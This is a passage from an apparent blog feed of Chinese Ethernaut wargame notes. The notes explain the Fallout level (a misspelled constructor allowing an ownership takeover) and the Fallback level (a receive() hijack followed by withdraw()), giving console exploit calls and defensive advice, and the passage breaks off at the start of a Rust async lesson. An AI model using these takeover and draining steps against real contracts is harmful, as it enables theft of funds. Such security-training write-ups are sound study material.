function_">add</span>(msg.<span class="property">value</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">sendAllocation</span>(<span class="params">address payable allocator</span>) public {</span><br><span class="line"> <span class="built_in">require</span>(allocations[allocator] > <span class="number">0</span>);</span><br><span class="line"> allocator.<span class="title function_">transfer</span>(allocations[allocator]);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">collectAllocations</span>(<span class="params"></span>) public onlyOwner {</span><br><span class="line"> msg.<span class="property">sender</span>.<span class="title function_">transfer</span>(<span class="title function_">address</span>(<span class="variable language_">this</span>).<span class="property">balance</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">allocatorBalance</span>(<span class="params">address allocator</span>) public view <span class="title function_">returns</span> (uint) {</span><br><span class="line"> <span class="keyword">return</span> allocations[allocator];</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><h2 id="源码与漏洞解析"><a href="#源码与漏洞解析" class="headerlink" title="源码与漏洞解析"></a>源码与漏洞解析</h2><ol><li>Solidity 0.6 已经支持 <code>constructor</code> 关键字,但这份代码保留了旧式注释 <code>/* constructor */</code>,函数名却写成 <code>Fal1out</code>。</li><li><code>Fallout</code> 中第二个字符应该是字母 <code>l</code>,源码里 <code>Fal1out</code> 使用了数字 <code>1</code>,因此它不是构造函数,而是一个普通的 <code>public payable</code> 函数。</li><li>普通外部用户可以直接调用这个函数,函数内部把 <code>owner = msg.sender</code>,所以 owner 会被调用者接管。</li></ol><h2 id="过程截图"><a href="#过程截图" class="headerlink" title="过程截图"></a>过程截图</h2><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/ethernaut/level02-fallout-owner.png" alt="调用误写初始化函数后 owner 变化的记录。" ><figcaption>调用误写初始化函数后 owner 变化的记录。</figcaption></figure></p><p>图注:调用误写初始化函数后 owner 变化的记录。</p><h2 id="解题过程"><a href="#解题过程" class="headerlink" title="解题过程"></a>解题过程</h2><ol><li>观察源码中 <code>Fal1out</code> 使用数字 1,而不是合约名里的字母 l。</li><li>该函数是 public,任何地址都能调用。</li><li>发送一笔很小金额调用 <code>Fal1out()</code>,触发 owner 赋值。</li></ol><h2 id="Console-WP"><a href="#Console-WP" class="headerlink" title="Console WP"></a>Console WP</h2><div class="code-container" data-rel="Javascript"><figure class="iseeu highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">await</span> contract.<span class="title function_">owner</span>()</span><br><span class="line"><span class="keyword">await</span> contract.<span class="title class_">Fal1</span>out({ <span class="attr">value</span>: <span class="title function_">toWei</span>(<span class="string">"0.000001"</span>) })</span><br><span class="line"><span class="keyword">await</span> contract.<span class="title function_">owner</span>()</span><br></pre></td></tr></table></figure></div><h2 id="最终-WP"><a href="#最终-WP" class="headerlink" title="最终 WP"></a>最终 WP</h2><ol><li>调用前先查看 <code>owner()</code>。</li><li>调用 <code>Fal1out({value: toWei("0.000001")})</code>。</li><li>再次查看 <code>owner()</code>,确认已经变成自己的地址。</li><li>提交实例。</li></ol><h2 id="复盘与拓展"><a href="#复盘与拓展" class="headerlink" title="复盘与拓展"></a>复盘与拓展</h2><ul><li>易错点:Solidity 0.4.22 之后推荐 <code>constructor</code> 关键字,就是为避免这类拼写事故。</li><li>防御建议:使用现代编译器;初始化函数必须加访问控制和一次性初始化保护。</li></ul><h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><ul><li>相关资料:<a class="link" href="https://hackmd.io/@0xbc000/SkJgDcs4T" >https://hackmd.io/@0xbc000/SkJgDcs4T<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Ethernaut 官方仓库:<a class="link" href="https://github.com/OpenZeppelin/ethernaut" >https://github.com/OpenZeppelin/ethernaut<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Solidity 文档:<a class="link" href="https://docs.soliditylang.org/" >https://docs.soliditylang.org/<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li></ul>]]></content>
<summary type="html"></summary>
<category term="区块链安全" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%AE%89%E5%85%A8/"/>
<category term="Ethernaut" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%AE%89%E5%85%A8/Ethernaut/"/>
<category term="Ethernaut" scheme="https://kylinxin.github.io/tags/Ethernaut/"/>
<category term="Solidity" scheme="https://kylinxin.github.io/tags/Solidity/"/>
<category term="智能合约安全" scheme="https://kylinxin.github.io/tags/%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6%E5%AE%89%E5%85%A8/"/>
</entry>
<entry>
<title>Ethernaut 靶场学习笔记 01:Fallback</title>
<link href="https://kylinxin.github.io/2026/05/02/Ethernaut%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2001%EF%BC%9AFallback/"/>
<id>https://kylinxin.github.io/2026/05/02/Ethernaut%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2001%EF%BC%9AFallback/</id>
<published>2026-05-02T01:00:00.000Z</published>
<updated>2026-05-02T01:00:00.000Z</updated>
<content type="html"><![CDATA[<blockquote><p>这是我的 Ethernaut 靶场个人学习笔记,用来记录每一关的题目目标、漏洞原理、利用过程和复盘要点,方便后续按关卡重新练习和查漏补缺。</p></blockquote><ul><li>关卡:Level 1 - Fallback</li></ul><h2 id="本关目标"><a href="#本关目标" class="headerlink" title="本关目标"></a>本关目标</h2><p>成为 Fallback 合约 owner,并调用 <code>withdraw()</code> 把实例余额清空。</p><h2 id="考察知识点"><a href="#考察知识点" class="headerlink" title="考察知识点"></a>考察知识点</h2><ul><li>fallback/receive 入口</li><li>低金额 contribute 铺垫权限条件</li><li>owner 接管后提款</li></ul><h2 id="题目源码"><a href="#题目源码" class="headerlink" title="题目源码"></a>题目源码</h2><div class="code-container" data-rel="Javascript"><figure class="iseeu highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// SPDX-License-Identifier: MIT</span></span><br><span class="line">pragma solidity ^<span class="number">0.8</span><span class="number">.0</span>;</span><br><span class="line"></span><br><span class="line">contract <span class="title class_">Fallback</span> {</span><br><span class="line"></span><br><span class="line"> <span class="title function_">mapping</span>(<span class="function"><span class="params">address</span> =></span> uint) public contributions;</span><br><span class="line"> address public owner;</span><br><span class="line"></span><br><span class="line"> <span class="title function_">constructor</span>(<span class="params"></span>) {</span><br><span class="line"> owner = msg.<span class="property">sender</span>;</span><br><span class="line"> contributions[msg.<span class="property">sender</span>] = <span class="number">1000</span> * (<span class="number">1</span> ether);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> modifier onlyOwner {</span><br><span class="line"> <span class="built_in">require</span>(</span><br><span class="line"> msg.<span class="property">sender</span> == owner,</span><br><span class="line"> <span class="string">"caller is not the owner"</span></span><br><span class="line"> );</span><br><span class="line"> _;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">contribute</span>(<span class="params"></span>) public payable {</span><br><span class="line"> <span class="built_in">require</span>(msg.<span class="property">value</span> < <span class="number">0.001</span> ether);</span><br><span class="line"> contributions[msg.<span class="property">sender</span>] += msg.<span class="property">value</span>;</span><br><span class="line"> <span class="keyword">if</span>(contributions[msg.<span class="property">sender</span>] > contributions[owner]) {</span><br><span class="line"> owner = msg.<span class="property">sender</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">getContribution</span>(<span class="params"></span>) public view <span class="title function_">returns</span> (uint) {</span><br><span class="line"> <span class="keyword">return</span> contributions[msg.<span class="property">sender</span>];</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">withdraw</span>(<span class="params"></span>) public onlyOwner {</span><br><span class="line"> <span class="title function_">payable</span>(owner).<span class="title function_">transfer</span>(<span class="title function_">address</span>(<span class="variable language_">this</span>).<span class="property">balance</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="title function_">receive</span>() external payable {</span><br><span class="line"> <span class="built_in">require</span>(msg.<span class="property">value</span> > <span class="number">0</span> && contributions[msg.<span class="property">sender</span>] > <span class="number">0</span>);</span><br><span class="line"> owner = msg.<span class="property">sender</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><h2 id="源码与漏洞解析"><a href="#源码与漏洞解析" class="headerlink" title="源码与漏洞解析"></a>源码与漏洞解析</h2><ol><li><code>withdraw()</code> 被 <code>onlyOwner</code> 保护,因此真正目标是改写 <code>owner</code>。</li><li><code>contribute()</code> 看似可以改 owner,但初始 owner 的贡献额是 <code>1000 ether</code>,正常玩家不可能用小额贡献超过它。</li><li>真正入口在 <code>receive()</code>:只要直接给合约转 ETH,且 <code>msg.value > 0</code>、<code>contributions[msg.sender] > 0</code>,合约就会把 <code>owner</code> 改成 <code>msg.sender</code>。</li><li>所以攻击必须分两步:先 <code>contribute</code> 一笔小于 <code>0.001 ether</code> 的金额建立贡献记录,再发送一笔普通 ETH 转账触发 <code>receive()</code>。</li></ol><h2 id="过程截图"><a href="#过程截图" class="headerlink" title="过程截图"></a>过程截图</h2><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/ethernaut/level01-fallback-owner.png" alt="接管 owner 后再执行 withdraw 的过程记录。" ><figcaption>接管 owner 后再执行 withdraw 的过程记录。</figcaption></figure></p><p>图注:接管 owner 后再执行 withdraw 的过程记录。</p><h2 id="解题过程"><a href="#解题过程" class="headerlink" title="解题过程"></a>解题过程</h2><ol><li>先调用 <code>contribute</code>,发送一笔很小的 ETH,让 <code>contributions[msg.sender] > 0</code>。</li><li>再向实例地址直接转账,calldata 为空会进入 <code>receive()</code>。</li><li><code>receive()</code> 检查通过后把 <code>owner</code> 改成调用者。</li><li>调用 <code>withdraw()</code> 清空合约余额。</li></ol><h2 id="Console-WP"><a href="#Console-WP" class="headerlink" title="Console WP"></a>Console WP</h2><div class="code-container" data-rel="Javascript"><figure class="iseeu highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">await</span> contract.<span class="title function_">contribute</span>({ <span class="attr">value</span>: <span class="title function_">toWei</span>(<span class="string">"0.000001"</span>) })</span><br><span class="line"><span class="keyword">await</span> contract.<span class="title function_">sendTransaction</span>({ <span class="attr">value</span>: <span class="title function_">toWei</span>(<span class="string">"0.000001"</span>) })</span><br><span class="line"><span class="keyword">await</span> contract.<span class="title function_">owner</span>()</span><br><span class="line"><span class="keyword">await</span> contract.<span class="title function_">withdraw</span>()</span><br></pre></td></tr></table></figure></div><h2 id="最终-WP"><a href="#最终-WP" class="headerlink" title="最终 WP"></a>最终 WP</h2><ol><li>先调用 <code>contribute({value: toWei("0.000001")})</code>,让自己的 contribution 大于 0。</li><li>再用 <code>sendTransaction</code> 给实例地址转一笔小额 ETH,calldata 为空,所以进入 <code>receive()</code>。</li><li>确认 <code>owner()</code> 已变成玩家地址。</li><li>调用 <code>withdraw()</code> 提走余额,提交实例。</li></ol><h2 id="复盘与拓展"><a href="#复盘与拓展" class="headerlink" title="复盘与拓展"></a>复盘与拓展</h2><ul><li>易错点:不要只审查显式函数;<code>receive</code>/<code>fallback</code> 也是外部入口。</li><li>防御建议:授权逻辑不要放在收款回调里;收款逻辑尽量保持无状态,关键权限只能通过明确的管理流程变更。</li></ul><h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><ul><li>相关资料:<a class="link" href="https://hackmd.io/@0xbc000/rJy5LtoN6" >https://hackmd.io/@0xbc000/rJy5LtoN6<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Ethernaut 官方仓库:<a class="link" href="https://github.com/OpenZeppelin/ethernaut" >https://github.com/OpenZeppelin/ethernaut<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Solidity 文档:<a class="link" href="https://docs.soliditylang.org/" >https://docs.soliditylang.org/<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li></ul>]]></content>
<summary type="html"></summary>
<category term="区块链安全" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%AE%89%E5%85%A8/"/>
<category term="Ethernaut" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%AE%89%E5%85%A8/Ethernaut/"/>
<category term="Ethernaut" scheme="https://kylinxin.github.io/tags/Ethernaut/"/>
<category term="Solidity" scheme="https://kylinxin.github.io/tags/Solidity/"/>
<category term="智能合约安全" scheme="https://kylinxin.github.io/tags/%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6%E5%AE%89%E5%85%A8/"/>
</entry>
<entry>
<title>Ethernaut 靶场学习笔记 00:Hello Ethernaut</title>
<link href="https://kylinxin.github.io/2026/05/01/Ethernaut%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2000%EF%BC%9AHello%20Ethernaut/"/>
<id>https://kylinxin.github.io/2026/05/01/Ethernaut%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2000%EF%BC%9AHello%20Ethernaut/</id>
<published>2026-05-01T01:00:00.000Z</published>
<updated>2026-05-01T01:00:00.000Z</updated>
<content type="html"><![CDATA[<blockquote><p>这是我的 Ethernaut 靶场个人学习笔记,用来记录每一关的题目目标、漏洞原理、利用过程和复盘要点,方便后续按关卡重新练习和查漏补缺。</p></blockquote><ul><li>关卡:Level 0 - Hello Ethernaut</li></ul><h2 id="本关目标"><a href="#本关目标" class="headerlink" title="本关目标"></a>本关目标</h2><p>熟悉 Ethernaut 的基本操作:连接钱包、创建实例、在浏览器控制台调用合约、提交实例。</p><h2 id="考察知识点"><a href="#考察知识点" class="headerlink" title="考察知识点"></a>考察知识点</h2><ul><li>Ethernaut 实例生命周期</li><li>浏览器控制台与异步合约调用</li><li>公开变量 getter</li></ul><h2 id="题目源码"><a href="#题目源码" class="headerlink" title="题目源码"></a>题目源码</h2><div class="code-container" data-rel="Javascript"><figure class="iseeu highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// SPDX-License-Identifier: MIT</span></span><br><span class="line">pragma solidity ^<span class="number">0.8</span><span class="number">.0</span>;</span><br><span class="line"></span><br><span class="line">contract <span class="title class_">Instance</span> {</span><br><span class="line"></span><br><span class="line"> string public password;</span><br><span class="line"> uint8 public infoNum = <span class="number">42</span>;</span><br><span class="line"> string public theMethodName = <span class="string">'The method name is method7123949.'</span>;</span><br><span class="line"> bool private cleared = <span class="literal">false</span>;</span><br><span class="line"></span><br><span class="line"> <span class="comment">// constructor</span></span><br><span class="line"> <span class="title function_">constructor</span>(<span class="params">string memory _password</span>) {</span><br><span class="line"> password = _password;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">info</span>(<span class="params"></span>) public pure <span class="title function_">returns</span> (string memory) {</span><br><span class="line"> <span class="keyword">return</span> <span class="string">'You will find what you need in info1().'</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">info1</span>(<span class="params"></span>) public pure <span class="title function_">returns</span> (string memory) {</span><br><span class="line"> <span class="keyword">return</span> <span class="string">'Try info2(), but with "hello" as a parameter.'</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">info2</span>(<span class="params">string memory param</span>) public pure <span class="title function_">returns</span> (string memory) {</span><br><span class="line"> <span class="keyword">if</span>(<span class="title function_">keccak256</span>(abi.<span class="title function_">encodePacked</span>(param)) == <span class="title function_">keccak256</span>(abi.<span class="title function_">encodePacked</span>(<span class="string">'hello'</span>))) {</span><br><span class="line"> <span class="keyword">return</span> <span class="string">'The property infoNum holds the number of the next info method to call.'</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="string">'Wrong parameter.'</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">info42</span>(<span class="params"></span>) public pure <span class="title function_">returns</span> (string memory) {</span><br><span class="line"> <span class="keyword">return</span> <span class="string">'theMethodName is the name of the next method.'</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">method7123949</span>(<span class="params"></span>) public pure <span class="title function_">returns</span> (string memory) {</span><br><span class="line"> <span class="keyword">return</span> <span class="string">'If you know the password, submit it to authenticate().'</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">authenticate</span>(<span class="params">string memory passkey</span>) public {</span><br><span class="line"> <span class="keyword">if</span>(<span class="title function_">keccak256</span>(abi.<span class="title function_">encodePacked</span>(passkey)) == <span class="title function_">keccak256</span>(abi.<span class="title function_">encodePacked</span>(password))) {</span><br><span class="line"> cleared = <span class="literal">true</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">getCleared</span>(<span class="params"></span>) public view <span class="title function_">returns</span> (bool) {</span><br><span class="line"> <span class="keyword">return</span> cleared;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><h2 id="源码与漏洞解析"><a href="#源码与漏洞解析" class="headerlink" title="源码与漏洞解析"></a>源码与漏洞解析</h2><ol><li>本关没有复杂漏洞,重点是建立操作习惯。Ethernaut 页面创建实例后,会在控制台暴露 <code>contract</code>、<code>player</code>、<code>instance</code> 等变量,<code>contract</code> 就是当前实例的 ABI 封装对象。</li><li>源码中 <code>password</code> 是 <code>public</code>,Solidity 会自动生成 <code>password()</code> getter,所以控制台可以直接读到口令。<code>cleared</code> 虽然是 <code>private</code>,但这里只需要通过 <code>authenticate</code> 改它。</li><li><code>info2</code> 用 <code>keccak256(abi.encodePacked(param))</code> 比较字符串,所以参数必须是精确的 <code>hello</code>。后续 <code>infoNum</code>、<code>theMethodName</code> 都是在训练如何根据返回值继续找下一个函数。</li></ol><h2 id="解题过程"><a href="#解题过程" class="headerlink" title="解题过程"></a>解题过程</h2><ol><li>连接钱包并选择测试网,创建本关实例。</li><li>在浏览器 DevTools Console 中逐个调用 <code>info</code> 系列函数。</li><li>读取公开变量 <code>password</code>,把得到的口令传入 <code>authenticate</code>。</li><li>回到页面提交实例。</li></ol><h2 id="Console-WP"><a href="#Console-WP" class="headerlink" title="Console WP"></a>Console WP</h2><div class="code-container" data-rel="Javascript"><figure class="iseeu highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">await</span> contract.<span class="title function_">info</span>()</span><br><span class="line"><span class="keyword">await</span> contract.<span class="title function_">info1</span>()</span><br><span class="line"><span class="keyword">await</span> contract.<span class="title function_">info2</span>(<span class="string">"hello"</span>)</span><br><span class="line"><span class="keyword">const</span> n = <span class="keyword">await</span> contract.<span class="title function_">infoNum</span>()</span><br><span class="line"><span class="keyword">await</span> contract[<span class="string">"info"</span> + n]()</span><br><span class="line"><span class="keyword">await</span> contract.<span class="title function_">theMethodName</span>()</span><br><span class="line"><span class="keyword">await</span> contract.<span class="title function_">method7123949</span>()</span><br><span class="line"><span class="keyword">const</span> pass = <span class="keyword">await</span> contract.<span class="title function_">password</span>()</span><br><span class="line"><span class="keyword">await</span> contract.<span class="title function_">authenticate</span>(pass)</span><br></pre></td></tr></table></figure></div><h2 id="最终-WP"><a href="#最终-WP" class="headerlink" title="最终 WP"></a>最终 WP</h2><ol><li>创建实例后打开浏览器 DevTools Console。</li><li>按提示链式调用 <code>info -> info1 -> info2("hello") -> infoNum -> info42 -> theMethodName -> method7123949</code>。</li><li>读取 <code>password()</code> 得到口令,调用 <code>authenticate(password)</code>。</li><li>回到页面提交实例。</li></ol><h2 id="复盘与拓展"><a href="#复盘与拓展" class="headerlink" title="复盘与拓展"></a>复盘与拓展</h2><ul><li>易错点:这是环境教学关,重点不是漏洞,而是理解 Ethernaut 的 <code>contract</code> 变量就是当前实例的 Web3 合约对象。</li><li>防御建议:生产合约不要把敏感口令放在链上公开变量里;即使变量标成 <code>private</code>,链上存储也能被读取。</li></ul><h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><ul><li>相关资料:<a class="link" href="https://hackmd.io/@0xbc000/ryToeKj4a" >https://hackmd.io/@0xbc000/ryToeKj4a<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Ethernaut 官方仓库:<a class="link" href="https://github.com/OpenZeppelin/ethernaut" >https://github.com/OpenZeppelin/ethernaut<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Solidity 文档:<a class="link" href="https://docs.soliditylang.org/" >https://docs.soliditylang.org/<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li></ul>]]></content>
<summary type="html"></summary>
<category term="区块链安全" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%AE%89%E5%85%A8/"/>
<category term="Ethernaut" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%AE%89%E5%85%A8/Ethernaut/"/>
<category term="Ethernaut" scheme="https://kylinxin.github.io/tags/Ethernaut/"/>
<category term="Solidity" scheme="https://kylinxin.github.io/tags/Solidity/"/>
<category term="智能合约安全" scheme="https://kylinxin.github.io/tags/%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6%E5%AE%89%E5%85%A8/"/>
</entry>
<entry>
<title>Rust学习笔记 16:异步编程 async-await</title>
<link href="https://kylinxin.github.io/2026/04/16/Rust%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0-16-%E5%BC%82%E6%AD%A5%E7%BC%96%E7%A8%8B%20async-await/"/>
<id>https://kylinxin.github.io/2026/04/16/Rust%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0-16-%E5%BC%82%E6%AD%A5%E7%BC%96%E7%A8%8B%20async-await/</id>
<published>2026-04-16T01:00:00.000Z</published>
<updated>2026-05-06T11:50:00.000Z</updated>
<content type="html"><![CDATA[<p>对应代码文件:<code>src/bin/16_async_await.rs</code></p><p>运行命令:</p><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cargo run --bin lesson16_async_await</span><br></pre></td></tr></table></figure></div><h2 id="学习目标"><a href="#学习目标" class="headerlink" title="学习目标"></a>学习目标</h2><p>异步编程用于在等待 IO、网络或定时器时不阻塞整个线程。Rust 使用 <code>Future</code>、<code>async</code> 和 <code>.await</code> 表达异步任务。</p><p>本节示例保持无外部依赖,重点解释机制。真实项目通常会使用 Tokio 或 async-std 这样的异步运行时。</p><ul><li>理解 <code>async fn</code> 返回 Future。</li><li>知道 <code>.await</code> 表示等待异步结果。</li><li>理解 Future 需要运行时或执行器推动。</li><li>区分并发 concurrent 和并行 parallel。</li></ul><h2 id="核心概念速查"><a href="#核心概念速查" class="headerlink" title="核心概念速查"></a>核心概念速查</h2><table><thead><tr><th>术语</th><th>基本意思</th><th>本节用途</th></tr></thead><tbody><tr><td>async</td><td>声明异步块或异步函数。</td><td><code>async fn load()</code> 不会立即执行完所有逻辑,而是返回 Future。</td></tr><tr><td>await</td><td>等待 Future 完成并取出结果。</td><td>只能在 async 上下文中使用。</td></tr><tr><td>Future</td><td>代表一个未来可能完成的计算。</td><td>需要被 poll 推动。</td></tr><tr><td>执行器 executor</td><td>负责轮询 Future 的运行组件。</td><td>Tokio 就提供成熟执行器。</td></tr><tr><td>运行时 runtime</td><td>提供执行器、定时器、IO 驱动等能力。</td><td>网络异步通常离不开运行时。</td></tr></tbody></table><h2 id="完整源码"><a href="#完整源码" class="headerlink" title="完整源码"></a>完整源码</h2><div class="code-container" data-rel="Rust"><figure class="iseeu highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">use</span> std::future::Future;</span><br><span class="line"><span class="keyword">use</span> std::pin::Pin;</span><br><span class="line"><span class="keyword">use</span> std::sync::Arc;</span><br><span class="line"><span class="keyword">use</span> std::task::{Context, Poll, Wake, Waker};</span><br><span class="line"></span><br><span class="line"><span class="keyword">struct</span> <span class="title class_">NoopWaker</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">impl</span> <span class="title class_">Wake</span> <span class="keyword">for</span> <span class="title class_">NoopWaker</span> {</span><br><span class="line"> <span class="keyword">fn</span> <span class="title function_">wake</span>(<span class="keyword">self</span>: Arc<<span class="keyword">Self</span>>) {</span><br><span class="line"> <span class="comment">// 这个演示用的 Future 会立即完成,所以不需要真正唤醒任务。</span></span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">fn</span> <span class="title function_">block_on_ready</span><F: Future>(future: F) <span class="punctuation">-></span> F::Output {</span><br><span class="line"> <span class="comment">// 真实项目通常使用 Tokio 或 async-std 这样的运行时。</span></span><br><span class="line"> <span class="comment">// 这里不用外部依赖,只演示 Future 如何被 poll。</span></span><br><span class="line"> <span class="keyword">let</span> <span class="variable">waker</span> = Waker::<span class="title function_ invoke__">from</span>(Arc::<span class="title function_ invoke__">new</span>(NoopWaker));</span><br><span class="line"> <span class="keyword">let</span> <span class="keyword">mut </span><span class="variable">context</span> = Context::<span class="title function_ invoke__">from_waker</span>(&waker);</span><br><span class="line"> <span class="keyword">let</span> <span class="keyword">mut </span><span class="variable">future</span> = <span class="type">Box</span>::<span class="title function_ invoke__">pin</span>(future);</span><br><span class="line"></span><br><span class="line"> <span 